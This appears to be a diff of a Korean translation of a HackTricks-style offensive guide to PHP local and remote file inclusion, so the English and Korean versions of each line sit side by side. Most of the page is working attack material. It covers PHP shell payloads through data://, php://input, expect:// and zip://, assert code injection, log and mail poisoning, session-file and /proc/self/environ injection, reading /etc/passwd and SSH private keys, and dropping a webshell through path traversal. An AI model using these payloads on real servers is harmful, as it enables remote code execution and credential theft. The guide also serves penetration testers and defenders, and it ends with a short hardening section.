Java에서 Path Traversal이 있고 파일 대신 **디렉토리를 요청하면**, **디렉토리 목록이 반환되는 것처럼 보입니다**. 이는 다른 언어에서는 발생하지 않는 것 같습니다(내가 알기로는).
## 상위 25개 파라미터
@ -211,38 +210,38 @@ It is the intended behaviour according to [the docs](https://docs.python.org/3.1
?mod={payload}
?conf={payload}
```
## LFI / RFI — PHP wrappers 및 프로토콜 사용
## LFI / RFI PHP 래퍼 및 프로토콜 사용
### php://filter
PHP filters는 데이터가 읽히거나 쓰이기 전에 기본적인 **데이터 수정 작업**을 수행할 수 있게 합니다. 필터는 5가지 범주로 나뉩니다:
PHP filters는 읽거나 쓰기 전에 데이터에 대한 기본적인 **수정 작업**을 수행할 수 있게 해줍니다. 필터는 5가지 범주로 나뉩니다:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: 데이터에서 태그를 제거합니다 (everything between "<" and ">" chars)
- `string.strip_tags`: 데이터에서 태그를 제거( "<" 와 ">" 문자 사이의 모든 것)
- Note that this filter has disappear from the modern versions of PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : 다른 인코딩으로 변환합니다(`convert.iconv.<input_enc>.<output_enc>`). 지원되는 **모든 인코딩 목록**을 얻으려면 콘솔에서 `iconv -l`을 실행하세요.
- `convert.iconv.*` : 다른 인코딩으로 변환(`convert.iconv.<input_enc>.<output_enc>`)합니다. 지원되는 **모든 인코딩 목록**을 얻으려면 콘솔에서 `iconv -l`을 실행하세요.
> [!WARNING]
> `convert.iconv.*` 변환 필터를 악용하면 **임의의 텍스트를 생성할 수 있습니다**, 이는 임의 텍스트를 쓰거나 include 같은 함수가 임의 텍스트를 처리하게 만드는 데 유용할 수 있습니다. 자세한 내용은 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)를 확인하세요.
> `convert.iconv.*` 변환 필터를 남용하면 **임의의 텍스트를 생성**할 수 있으며, 이는 임의 텍스트를 쓰거나 include 같은 함수가 임의 텍스트를 처리하게 만드는 데 유용할 수 있습니다. 자세한 내용은 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)를 참고하세요.
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: 내용을 압축합니다 (useful if exfiltrating a lot of info)
- `zlib.inflate`: 데이터를 압축 해제합니다
- `zlib.deflate`: 콘텐츠를 압축(많은 정보를 exfiltrating할 때 유용)
- `zlib.inflate`: 데이터를 압축 해제
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : 사용 중단
- `mdecrypt.*` : 사용 중단
- Other Filters
- `mcrypt.*` : 사용 중단
- `mdecrypt.*` : 사용 중단
- 기타 필터
- php에서 `var_dump(stream_get_filters());`를 실행하면 몇 가지 **예상치 못한 필터**를 찾을 수 있습니다:
- `consumed`
- `dechunk`: reverses HTTP chunked encoding
- `dechunk`: HTTP chunked encoding을 되돌림
- `convert.*`
```php
# String Filters
@ -273,37 +272,37 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
> [!WARNING]
> The part "php://filter" is case insensitive
### Using php filters as oracle to read arbitrary files
### php filters를 oracle로 사용하여 임의의 파일 읽기
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 에서는 서버로부터 출력이 직접 반환되지 않아도 로컬 파일을 읽을 수 있는 기법을 제안합니다. 이 기법은 **boolean exfiltration of the file (char by char) using php filters** 를 오라클로 사용하는 방식에 기반합니다. 이는 php filters를 이용해 텍스트를 충분히 크게 만들어 php가 예외를 발생시키게 할 수 있기 때문입니다.
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) is proposed a technique to read a local file without having the output given back from the server. This technique is based on a **boolean exfiltration of the file (char by char) using php filters** as oracle. This is because php filters can be used to make a text larger enough to make php throw an exception.
원문 포스트에서 기법의 자세한 설명을 볼 수 있으며, 여기에는 간단한 요약을 적습니다:
원문 포스트에는 기법에 대한 자세한 설명이 있지만, 여기서는 간단 요약을 제공합니다:
- codec **`UCS-4LE`** 를 사용하면 텍스트의 선행 문자가 앞부분에 남고 문자열 크기가 지수적으로 증가합니다.
- 이것을 이용해 **초기 문자가 올바르게 추측되었을 때 텍스트가 매우 커져서** php가 **오류**를 발생시키도록 만듭니다.
- **dechunk** 필터는 **첫 문자가 16진수가 아니면 모든 것을 제거**하므로 첫 문자가 16진수인지 알 수 있습니다.
- 이 점과 앞의 방법(및 추측한 문자에 따라 사용하는 다른 필터들)을 조합하면, 충분한 변환을 수행했을 때 처음 문자가 16진수가 아니게 되는 시점을 통해 처음 문자를 추측할 수 있습니다. 만약 16진수라면 dechunk가 삭제하지 않고 초기 폭탄(bomb)이 php 오류를 유발합니다.
- codec **convert.iconv.UNICODE.CP930** 은 각 문자를 다음 문자로 변환합니다(따라서 이 codec을 적용하면: a -> b). 이를 이용하면 예를 들어 처음 문자가 `a`인지 확인할 수 있습니다. 이 codec을 6번 적용하면 a->b->c->d->e->f->g 가 되어 문자가 더 이상 16진수 문자가 아니게 되고, 따라서 dechunk가 삭제하지 않아 초기 폭탄으로 인해 php 오류가 발생합니다.
- 초기에 **rot13** 같은 변환을 사용하면 n, o, p, q, r 같은 문자들도 leak할 수 있으며(다른 codec들을 사용해 다른 문자들을 16진수 범위로 이동시킬 수도 있습니다) .
- 초기 문자가 숫자일 때는 base64로 인코딩하고 처음 두 글자를 leak하여 숫자를 식별해야 합니다.
- 최종 문제는 **초기 문자보다 더 많은 문자들을 어떻게 leak할 것인가**입니다. 순서 변경 memory 필터들인 **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** 등을 사용하면 문자들의 순서를 바꿔 텍스트의 다른 문자를 첫 번째 위치로 가져올 수 있습니다.
- 추가 데이터를 얻기 위해서는 아이디어**convert.iconv.UTF16.UTF16** 으로 시작에 2바이트의 정크 데이터를 생성하고, **UCS-4LE** 를 적용해 다음 2바이트와 pivot 시키며, 정크 데이터가 나올 때까지 데이터를 삭제하는 것입니다(이렇게 하면 초기 텍스트의 처음 2바이트가 제거됩니다). 원하는 비트를 leak할 때까지 이 과정을 반복합니다.
- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
- This will be used to generate a **text so big when the initial letter is guessed correctly** that php will trigger an **error**
- The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex.
- 이것은 이전 필터와 결합되어(추측된 문자에 따라 다른 필터들과 함께) 여러 변환을 적용했을 때 해당 문자가 hexadecimal 문자가 아닐 때를 관찰함으로써 텍스트의 첫 문자를 추측할 수 있게 합니다. 만약 hexadecimal이라면 dechunk가 삭제하지 않으며 초기 폭탄이 php error를 발생시킵니다.
- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
- 초기에 **rot13** 같은 다른 변환을 사용하면 n, o, p, q, r 같은 다른 문자를 leak할 수 있습니다(또한 다른 codecs를 사용해 다른 문자들을 hex 범위로 옮길 수 있습니다).
- When the initial char is a number its needed to base64 encode it and leak the 2 first letters to leak the number.
- 최종 문제는 **how to leak more than the initial letter**입니다. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** 같은 order memory filters를 사용하면 문자 순서를 바꿔 텍스트의 다른 문자들을 첫 위치로 올릴 수 있습니다.
- 그리고 추가 데이터를 얻기 위해서는 아이디어**convert.iconv.UTF16.UTF16**로 처음에 **2 bytes of junk data at the beginning**을 생성하고, **UCS-4LE**를 적용해 다음 2바이트와 **pivot**하게 한 뒤, d**elete the data until the junk data** (이렇게 하면 초기 텍스트의 첫 2바이트가 제거됩니다). 원하는 비트를 leak할 때까지 이 과정을 반복합니다.
포스트에는 이 작업을 자동화한 도구도 공개되어 있습니다: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
In the post a tool to perform this automatically was also leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
이 wrapper는 프로세스가 열어둔 file descriptors에 접근할 수 있게 해줍니다. 열린 파일의 내용을 exfiltrate하는 데 잠재적으로 유용합니다:
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
또한 **php://stdin, php://stdout and php://stderr**를 사용 각각 **file descriptors 0, 1 and 2**에 접근할 수 있습니다 (공격에서 어떻게 유용할지는 확실하지 않습니다)
또한 **php://stdin, php://stdout and php://stderr**를 사용하여 각각 **file descriptors 0, 1 and 2**에 접근할 수 있습니다 (공격에서 어떻게 유용할지는 잘 모르겠습니다)
### zip:// rar://
### zip:// and rar://
PHPShell이 포함된 Zip 또는 Rar 파일을 업로드하고 접근합니다.\
rar protocol을 악용하려면 **명시적으로 활성화되어야 합니다**.
PHPShell이 포함된 Zip or Rar file을 업로드하고 접근하세요.\
rar protocol을 남용하려면 **특별히 활성화되어야 합니다**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
@ -328,24 +327,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
이 프로토콜은 php 설정 **`allow_url_open`** 및 **`allow_url_include`**에 의해 제한된다는 점에 유의하세요
이 프로토콜은 php 설정 **`allow_url_open`** 및 **`allow_url_include`**에 의해 제한됩니다.
### expect://
Expect는 활성화되어 있어야 합니다. 다음을 사용하여 코드를 실행할 수 있습니다:
Expect가 활성화되어 있어야 합니다. 이를 통해 code를 실행할 수 있습니다:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
POST 파라미터에 payload를 지정하세요:
POST 파라미터에 페이로드를 지정하세요:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
### phar://
`.phar` 파일은 웹 애플리케이션이 파일 로딩을 위해 `include` 같은 함수를 사용할 때 PHP 코드를 실행하는 데 사용할 수 있습니다. 아래의 PHP 코드 스니펫은 `.phar` 파일 생성 예를 보여줍니다:
웹 애플리케이션이 파일 로딩에 `include`와 같은 함수를 사용할 때 `.phar` 파일을 이용해 PHP 코드를 실행할 수 있습니다. 아래의 PHP 코드 스니펫은 `.phar` 파일 생성하는 예를 보여줍니다:
```php
<?php
$phar = new Phar('test.phar');
@ -358,11 +357,11 @@ $phar->stopBuffering();
```bash
php --define phar.readonly=0 create_path.php
```
실행하면 `test.phar` 파일이 생성되며, 이는 Local File Inclusion (LFI) 취약점을 악용하는 데 사용될 수 있습니다.
실행하면 `test.phar`라는 파일이 생성되며, 이는 Local File Inclusion (LFI) 취약점을 악용하는 데 사용될 수 있습니다.
LFI가 내부의 PHP 코드를 실행하지 않고 `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, `filesize()` 같은 함수로 파일을 단순히 읽기만 하는 경우, `phar` 프로토콜을 통한 파일 읽기와 관련된 역직렬화 취약성을 악용할 수 있습니다.
LFI가 내부의 PHP 코드를 실행하지 않고 `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, 또는 `filesize()` 같은 함수로 파일을 단순히 읽는 경우, `phar` 프로토콜로 파일을 읽을 때 발생하는 deserialization 취약점을 이용해 공격을 시도할 수 있습니다.
자세한 내용 아래 문서를 참조하세요:
자세한 내용을 이해하려면 아래 문서를 참조하세요:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@ -373,35 +372,36 @@ phar-deserialization.md
### CVE-2024-2961
PHP에서 php filters를 지원하는 임의의 파일 읽기(**any arbitrary file read from PHP that supports php filters**)를 악용해 RCE를 얻을 수 있었습니다. 자세한 설명은 [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
매우 간단한 요약: PHP heap의 **3 byte overflow**를 악용해 특정 크기의 free chunks 체인을 **alter the chain of free chunks**하도록 변경하여 임의 주소에 **write anything in any address**할 수 있게 만들었고, 그래서 **`system`**을 호출하는 hook을 추가했습니다.\ 더 많은 php filters를 악용해 특정 크기의 chunks를 alloc하는 것도 가능했습니다.
**php filters를 지원하는 PHP에서 읽는 임의의 파일**을 악용하여 RCE를 얻을 수 있었습니다. 자세한 설명은 [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
매우 간단 요약: PHP 힙의 **3 byte overflow**를 악용해 특정 크기의 free chunk 체인을 **변조하여** 임의의 주소에 **무엇이든 쓸 수 있게** 했고, 그 결과 **`system`**을 호출하는 훅을 추가했습니다.\
추가적인 php filters를 악용해 특정 크기의 chunk를 할당하는 것이 가능했습니다.
### More protocols
### 더 많은 프로토콜
더 많은 가능한 [**protocols to include here**](https://www.php.net/manual/en/wrappers.php)**을 확인하세요:**
더 많은 가능한 [**protocols to include here**](https://www.php.net/manual/en/wrappers.php)**을 확인하세요:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 메모리나 임시 파일에 쓰기 (not sure how this can be useful in a file inclusion attack)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — 로컬 파일 시스템 접근
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 메모리나 임시 파일에 쓰기 (file inclusion 공격에서 어떻게 유용할지 확실하지 않음)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — 로컬 파일시스템 접근
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL 접근
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL 접근
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 압축 스트림
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 패턴에 맞는 경로명 찾기 (출력 가능한 내용을 반환하지 않으므로 여기서는 그다지 유용하지 않음)
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 패턴에 맞는 경로명 검색 (출력 가능한 내용을 반환하지 않으므로 여기서는 별로 유용하지 않음)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 오디오 스트림 (arbitrary files 읽기에는 유용하지 않음)
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 오디오 스트림 (임의의 파일을 읽는 데 유용하지 않음)
## LFI via PHP의 'assert'
## PHP의 'assert'를 통한 LFI
PHP에서 'assert' 함수는 문자열 내의 코드를 실행할 수 있기 때문에 Local File Inclusion (LFI)의 위험이 특히 큽니다. 특히 ".." 같은 directory traversal 문자를 포함한 입력을 검사하지만 적절히 정제(sanitize)하지 않는 경우 더 문제가 됩니다.
문자열 내 코드를 실행할 수 있는 'assert' 함수와 관련된 경우 PHP에서 Local File Inclusion (LFI)의 위험이 특히 높습니다. 특히 입력값에 ".."와 같은 디렉터리 트래버설 문자가 포함되어 있는지 확인만 하고 적절히 정제되지 않으면 문제가 됩니다.
예를 들어, PHP 코드가 다음과 같이 directory traversal을 방지하도록 작성되어 있을 수 있습니다:
예를 들어, PHP 코드는 다음과 같이 디렉터리 트래버설을 방지하도록 설계될 수 있습니다:
```bash
assert("strpos('$file', '..') === false") or die("");
```
이는 traversal을 차단하려는 의도이지만, 의도치 않게 code injection을 위한 벡터를 생성합니다. 파일 내용을 읽기 위해 이를 악용하려면, 공격자는 다음을 사용할 수 있습니다:
이는 traversal를 막기 위한 시도이지만, 의도치 않게 code injection 벡터를 만들어냅니다. 파일 내용을 읽기 위해 이를 악용하려면 공격자는 다음을 사용할 수 있습니다:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
유사하게, 임의의 시스템 명령을 실행하기 위해 다음을 사용할 수 있습니다:
마찬가지로, 임의의 시스템 명령을 실행하려면 다음을 사용할 수 있습니다:
```plaintext
' and die(system("id")) or '
```
@ -410,13 +410,13 @@ It's important to **URL-encode these payloads**.
## PHP Blind Path Traversal
> [!WARNING]
> 이 기법은 당신이 **file path**를 제어하는 **PHP function**이 파일에 접근하지만 파일의 내용을 볼 수 없는 경우(예: 단순한 **`file()`** 호출처럼)에 해당합니다.
> 이 기법은 당신이 **control** 하는 **file path** 를 가진 **PHP function****파일에 접근(access a file)** 하지만 파일의 내용을 보지 못하는 경우(예: 단순한 **`file()`** 호출처럼)와 관련이 있습니다.
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
요약하자면, 이 기법은 **"UCS-4LE" encoding**을 사용해 파일의 내용을 매우 **big**하게 만들어 해당 파일을 여는 **PHP function**이 **error**를 발생시키도록 합니다.
요약하자면, 이 기법은 **"UCS-4LE" encoding** 을 사용해 파일의 내용을 매우 **big** 하게 만들어 해당 파일을 여는 **PHP function opening****error** 를 발생시키도록 하는 방식입니다.
그 다음, 첫 번째 char를 leak하기 위해 필터 **`dechunk`**가 **base64**나 **rot13** 같은 필터들과 함께 사용되며, 마지막으로 **convert.iconv.UCS-4.UCS-4LE**와 **convert.iconv.UTF16.UTF-16BE** 필터를 사용해 다른 chars를 맨 앞에 배치하고 그것들을 leak합니다.
그 다음, 첫 문자를 leak 하기 위해 filter **`dechunk`** 를 다른 것들(예: **base64**, **rot13**)과 함께 사용하고 마지막으로 필터 **convert.iconv.UCS-4.UCS-4LE****convert.iconv.UTF16.UTF-16BE** 를 사용하여 **place other chars at the beggining and leak them**.
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
@ -426,20 +426,20 @@ For the technical details check the mentioned post!
### Arbitrary File Write via Path Traversal (Webshell RCE)
파일을 수집/업로드하는 서버측 코드가 user-controlled data(예: filename 또는 URL)를 사용해 대상 경로를 생성하면서 canonicalising 및 검증을 하지 않으면, `..` 세그먼트와 절대 경로가 의도한 디렉터리를 벗어나 임의의 파일 쓰기를 초래할 수 있습니다. 만약 payload를 web-exposed directory 아래에 둘 수 있다면, 보통 webshell을 업로드하여 인증 없이 RCE를 얻습니다.
서버 측 코드가 사용자 제어 데이터(예: filename 또는 URL)를 사용하여 대상 경로를 조합할 때, canonicalising 및 유효성 검사를 하지 않으면 `..` 세그먼트와 절대 경로가 의도한 디렉터리를 벗어나 임의의 파일 쓰기가 발생할 수 있습니다. 페이로드를 web-exposed 디렉터리에 놓을 수 있다면, 보통 webshell 을 drop 해서 인증 없이 RCE 를 얻을 수 있습니다.
Typical exploitation workflow:
- path/filename을 받아 디스크에 내용을 쓰는 endpoint나 background worker에서 쓰기 primitive를 식별합니다 (예: message-driven ingestion, XML/JSON command handlers, ZIP extractors, 등).
- Determine web-exposed directories. Common examples:
- 경로/파일명을 받아 디스크에 내용을 쓰는 엔드포인트 또는 background worker(예: 메시지 기반 ingestion, XML/JSON command handlers, ZIP extractors 등)에서 write primitive 를 식별합니다.
- web-exposed directories 를 파악합니다. 일반적인 예:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- 의도한 저장 디렉터리에서 webroot로 탈출하는 traversal 경로를 만들고, webshell 내용을 포함시킵니다.
- 업로드한 payload에 접속하여 명령을 실행합니다.
- 의도한 저장 디렉터리에서 webroot 로 빠져나오도록 traversal path 를 만들고, 웹셸 내용을 포함시킵니다.
- 배치된 페이로드에 브라우저로 접속하여 명령을 실행합니다.
Notes:
- 쓰기 작업을 수행하는 취약한 서비스는 비-HTTP 포트에서 수신(listen)할 수 있습니다(예: TCP 4004의 JMF XML listener). 메인 웹 포탈(다른 포트)이 나중에 당신의 payload를 서빙할 수 있습니다.
- Java 스택에서는 이러한 파일 쓰기가 종종 단순한 `File`/`Paths` 연결로 구현됩니다. canonicalisation/allow-listing의 부재가 핵심 결함입니다.
- 쓰기를 수행하는 취약한 서비스는 비-HTTP 포트에서 리스닝할 수 있습니다(예: TCP 4004 의 JMF XML listener). 메인 웹 포털(다른 포트)이 나중에 당신의 페이로드를 제공할 수 있습니다.
- Java 스택에서는 이러한 파일 쓰기가 단순한 `File`/`Paths` 문자열 결합으로 구현되는 경우가 많습니다. canonicalisation/allow-listing의 부재가 핵심 결함입니다.
Generic XML/JMF-style example (product schemas vary the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml
@ -465,25 +465,25 @@ in.transferTo(out);
</Command>
</JMF>
```
이 종류의 버그를 무력화하는 하드닝:
- 경로를 정규화(canonical path)하고 허용 목록에 등록된 기본 디렉터리(allow-listed base directory)의 하위인지 강제합니다.
- `..`, 절대 루트, 또는 드라이브 문자가 포함된 경로는 거부하고, 생성된 파일명(generated filenames)을 선호합니다.
- writer를 권한이 낮은 계정(low-privileged account)으로 실행하고, 쓰기 디렉터리를 서비스 루트(served roots)와 분리합니다.
Hardening that defeats this class of bugs:
- 경로를 정규화(canonical path)하고 허용 목록에 등록된 기본 디렉터리의 하위 경로인지 강제 검사합니다.
- `..`가 포함되거나 절대 루트 또는 드라이브 문자가 있는 경로는 거부하고, 가능한 경우 생성된 파일 이름을 사용하세요.
- writer를 권한이 낮은 계정으로 실행하고, 쓰기 디렉터리를 서비스되는 루트와 분리하세요.
## Remote File Inclusion
자세한 내용은, [**follow this link**](#remote-file-inclusion).
Explained previously, [**follow this link**](#remote-file-inclusion).
### Apache/Nginx 로그 파일을 통해
### Via Apache/Nginx log file
Apache 또는 Nginx 서버가 include 함수 내부에서 **LFI에 취약**하다면 **`/var/log/apache2/access.log` 또는 `/var/log/nginx/access.log`**에 접근을 시도하고, **user agent**나 **GET parameter** 안에 **`<?php system($_GET['c']); ?>`** 같은 php shell을 넣은 뒤 해당 파일을 include 해볼 수 있습니다.
Apache나 Nginx 서버가 include 함수 내부에서 **LFI에 취약**하다면, **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**에 접근을 시도해 **user agent** 또는 **GET parameter**에 **`<?php system($_GET['c']); ?>`** 같은 PHP shell을 기록한 뒤 그 파일을 include할 수 있습니다.
> [!WARNING]
> 쉘에 대해 **double quotes**를 사용하고 **simple quotes**를 사용하지 않으면, double quotes가 문자열 "_**quote;**_"로 변경되어 **PHP가 오류를 발생**시키며 **다른 것은 실행되지 않습니다**.
> 쉘에 대해 **double quotes**를 사용하고 **simple quotes** 대신 사용할 경우, 큰따옴표는 문자열 "_**quote;**_"로 변환되어 **PHP가 오류를 발생시키고**, **다른 어떤 것도 실행되지 않습니다**.
>
> 또한, 페이로드(payload)를 정확히 작성해야 합니다. 그렇지 않으면 로그 파일을 불러올 때마다 PHP가 오류를 발생시키며 두 번째 기회는 없을 것입니다.
> 또한, **payload를 정확히 작성**해야 합니다. 그렇지 않으면 로그 파일을 불러올 때마다 PHP가 오류를 일으키고 두 번째 기회가 주어지지 않습니다.
이 방법은 다른 로그에서도 가능하지만 **주의하세요,** 로그 안의 코드는 URL encoded될 수 있어 Shell이 깨질 수 있습니다. 헤더 **authorisation "basic"**는 Base64로 인코딩된 "user:password"를 포함하며 로그 내부에서 디코딩됩니다. PHPShell은 이 헤더 안에 삽입될 수 있습니다.\
다른 로그에서도 동일한 방법을 시도할 수 있지만 **주의하세요,** 로그 내부의 코드가 URL encoded되어 Shell이 파괴될 수 있습니다. 헤더 **authorisation "basic"**에는 Base64로 인코딩된 "user:password"가 포함되며 로그 내에서 디코딩됩니다. PHPShell은 이 헤더 안에 삽입할 수 있습니다.\
Other possible log paths:
```python
/var/log/apache2/access.log
@ -498,44 +498,44 @@ Other possible log paths:
```
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### 이메일
### 이메일을 통해
**메일을 보내세요** 내부 계정(user@localhost)으로, `<?php echo system($_REQUEST["cmd"]); ?>` 같은 PHP payload를 포함한 뒤, 사용자 메일을 include 하려고 다음 경로들 중 하나를 시도해보세요: **`/var/mail/<USERNAME>`** 또는 **`/var/spool/mail/<USERNAME>`**
**메일을 보내기**: 내부 계정 (user@localhost)으로 `<?php echo system($_REQUEST["cmd"]); ?>` 같은 PHP payload를 포함한 메일을 보내고, 사용자 메일을 **`/var/mail/<USERNAME>`** 또는 **`/var/spool/mail/<USERNAME>`** 경로로 include 해보세요.
### Via /proc/\*/fd/\*
### /proc/\*/fd/\*을 통해
1. 많은 shells(예: 100)를 업로드하세요.
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), 여기서 $PID는 프로세스의 PID입니다 (can be brute forced)이고 $FD는 파일 디스크립터입니다 (can be brute forced too).
1. 많은 shells를 업로드하세요 (예: 100)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), 여기서 $PID는 프로세스의 PID(무차별 대입 가능)이고 $FD는 파일 디스크립터(역시 무차별 대입 가능)입니다.
### Via /proc/self/environ
### /proc/self/environ을 통해
로그 파일처럼, payload를 User-Agent에 넣어 전송하면 /proc/self/environ 파일에 반영됩니다.
로그 파일과 마찬가지로, User-Agent에 payload를 넣어 전송하면 /proc/self/environ 파일에 반영됩니다.
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### 업로드를 통해
### upload를 통해
파일을 업로드할 수 있다면, 단순히 shell payload를 파일에 주입하세요 (예: `<?php system($_GET['c']); ?>`).
파일을 upload할 수 있다면, 그냥 그 안에 shell payload를 inject하세요 (예: `<?php system($_GET['c']); ?>`).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
파일을 읽기 쉽게 유지하려면 이미지/문서/PDF의 메타데이터에 주입하는 것이 가장 좋습니다
### ZIP 파일 업로드
### Zip 파일 업로드를 통해
PHP shell이 포함된 ZIP 파일을 업로드한 뒤 접근:
PHP shell을 포함한 압축된 ZIP 파일을 업로드하고 접근:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### PHP sessions 통해
### PHP sessions 통해
웹사이트가 PHP Session (PHPSESSID)을 사용하고 있는지 확인하세요.
웹사이트가 PHP Session (PHPSESSID)을 사용하는지 확인하세요.
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
PHP에서는 이러한 세션이 _/var/lib/php5/sess\\_\[PHPSESSID]\_ 파일에 저장됩니다
PHP에서는 이 세션_/var/lib/php5/sess\\_\[PHPSESSID]\_ 파일에 저장됩니다.
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
@ -544,87 +544,87 @@ user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"adm
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
LFI를 사용하여 PHP session 파일을 포함하세요
LFI를 사용하여 PHP 세션 파일 포함하기
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### ssh를 통
### ssh를 통
ssh가 활성화되어 있다면 어떤 사용자가 사용 중인지 (/proc/self/status & /etc/passwd)를 확인하고 **\<HOME>/.ssh/id_rsa**에 접근을 시도하세요
ssh가 활성화되어 있다면 /proc/self/status & /etc/passwd 를 확인해 어떤 사용자가 사용되는지 파악하고 **\<HOME>/.ssh/id_rsa**에 접근을 시도해 보세요.
### **를 통한** **vsftpd** _**로그**_
### **vsftpd** _**logs**_를 통한
FTP 서버 vsftpd의 로그는 _**/var/log/vsftpd.log**_에 위치합니다. Local File Inclusion (LFI) 취약점이 존재하고 노출된 vsftpd 서버에 접근할 수 있는 경우, 다음 절차를 고려할 수 있습니다:
1. 로그인 과정에서 username 필드에 PHP payload를 주입합니다.
2. 주입 후, LFI를 이용해 _**/var/log/vsftpd.log**_에서 서버 로그를 가져옵니다.
1. 로그인 과정에서 username 필드에 PHP 페이로드를 주입합니다.
2. 주입 후, LFI를 이용해 서버 로그 _**/var/log/vsftpd.log**_를 조회합니다.
### php base64 filter (base64 사용 시)
### php base64 filter (using base64)를 통한
[this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article에서 보듯, PHP base64 filter는 Non-base64를 무시합니다. 이를 이용해 파일 확장자 검사(file extension check)를 우회할 수 있습니다: 만약 base64가 ".php"로 끝나도록 제공하면, filter는 "."를 무시하고 "php"를 base64에 덧붙입니다. 예시 payload는 다음과 같습니다:
